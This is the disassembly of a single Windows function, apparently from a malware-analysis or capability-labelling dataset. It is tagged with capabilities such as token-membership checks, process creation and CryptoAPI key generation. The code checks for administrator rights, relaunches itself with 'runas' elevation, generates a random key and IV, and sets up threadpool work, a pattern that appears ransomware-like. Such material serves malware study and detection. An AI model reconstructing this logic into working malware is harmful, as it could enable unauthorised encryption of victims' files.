Function at 0x140001f70
Capabilities:
Create new key via cryptacquirecontext
Create process on windows
Generate random numbers via winapi
Get token membership
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x250
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x230], rax
mov rdi, rdx
cmp ecx, 2
jge 0x140002114
xor ebx, ebx
mov word [rsp + 0xe4], 0x500
lea rax, [rsp + 0x68]
mov dword [rsp + 0x60], ebx
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0xe0]
mov dword [rsp + 0x48], ebx
mov r9d, 0x220
mov dword [rsp + 0x40], ebx
mov r8d, 0x20
mov dword [rsp + 0x38], ebx
mov dl, 2
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
mov dword [rsp + 0xe0], ebx
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x140002011
mov rdx, qword [rsp + 0x68]
lea r8, [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [rsp + 0x60], ebx
jne 0x1400020cf
mov r8d, 0x104
lea rdx, [rsp + 0x120]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x1400020cf
xor eax, eax
mov dword [rsp + 0x70], 0x70
vpxor xmm0, xmm0, xmm0
vmovups ymmword [rsp + 0x74], ymm0
mov qword [rsp + 0xd4], rax
lea rcx, [rsp + 0x70]
mov dword [rsp + 0xdc], eax
lea rax, str.runas
vmovups ymmword [rsp + 0x94], ymm0
mov qword [rsp + 0x80], rax
lea rax, [rsp + 0x120]
mov qword [rsp + 0x88], rax
lea rax, str.__foodsum
mov qword [rsp + 0x90], rax
vmovups ymmword [rsp + 0xb4], ymm0
mov qword [rsp + 0x78], rbx
mov dword [rsp + 0xa0], ebx
vzeroupper
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x1400020c6
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov r8, qword [rdi]
lea r9, [0x140006098]
mov dword [rsp + 0x28], ebx
lea rdx, str.open
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor eax, eax
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.140002380
mov rbx, qword [rsp + 0x260]
add rsp, 0x250
pop rdi
ret
mov r9d, 0x18
mov dword [rsp + 0x20], 0xf0000000
xor r8d, r8d
lea rcx, [rsp + 0xe0]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x140002357
mov rcx, qword [rsp + 0xe0]
lea r8, [rsp + 0xf8]
mov edx, 0x20
vmovaps xmmword [rsp + 0x240], xmm6
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov rcx, qword [rsp + 0xe0]
lea r8, [rsp + 0xe8]
mov edx, 0x10
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov rcx, qword [rsp + 0xe0]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
vmovdqu ymm0, ymmword [0x1400044e0]
vpxor ymm0, ymm0, ymmword [rsp + 0xf8]
vmovdqu xmm6, xmmword [0x1400044d0]
vmovdqu ymmword [rsp + 0xf8], ymm0
vpxor xmm0, xmm6, xmmword [rsp + 0xe8]
vmovdqu xmmword [rsp + 0xe8], xmm0
lea rdx, [rsp + 0xe8]
lea rcx, [rsp + 0xf8]
vzeroupper
call fcn.140001d20
vmovdqu ymm1, ymmword [0x1400044e0]
vpxor ymm0, ymm1, ymmword [rsp + 0xf8]
vpxor xmm1, xmm6, xmmword [rsp + 0xe8]
vmovdqu xmmword [rsp + 0xe8], xmm1
vmovdqu ymmword [rsp + 0xf8], ymm0
xor ecx, ecx
vzeroupper
call qword [sym.imp.KERNEL32.dll_CreateThreadpool]
mov qword [0x1400068d0], rax
vmovaps xmm6, xmmword [rsp + 0x240]
test rax, rax
jne 0x140002244
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.tpcf:__d_n
call fcn.140001060
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.KERNEL32.dll_CreateThreadpoolCleanupGroup]
mov qword [0x1400068c8], rax
mov rcx, rax
test rax, rax
jne 0x140002286
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.pf:__d_n
call fcn.140001060
mov rcx, qword [0x1400068d0]
call qword [sym.imp.KERNEL32.dll_CloseThreadpool]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rax, qword [0x1400068d0]
lea r8, [0x140006080]
xor ebx, ebx
mov qword [0x140006888], rax
vpxor xmm0, xmm0, xmm0
vmovdqu xmmword [0x1400068a0], xmm0
mov qword [0x1400068b0], rbx
mov dword [0x1400068b8], ebx
mov qword [0x140006898], rbx
mov dword [0x140006880], 3
mov dword [0x1400068bc], 1
mov dword [0x1400068c0], 0x48
mov qword [0x140006890], rcx
mov rax, qword [rdi + 8]
sub r8, rax
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140002303
inc rax
test ecx, ecx
jne 0x1400022f0
test edx, edx
jne 0x14000234d
lea rdx, [rsp + 0xe8]
lea rcx, [rsp + 0xf8]
call fcn.140001800
mov rcx, qword [0x1400068c8]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CloseThreadpoolCleanupGroupMembers]
mov rcx, qword [0x1400068c8]
call qword [sym.imp.KERNEL32.dll_CloseThreadpoolCleanupGroup]
mov rcx, qword [0x1400068d0]
call qword [sym.imp.KERNEL32.dll_CloseThreadpool]
jmp 0x1400020f1
mov eax, 1
jmp 0x1400020f3
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3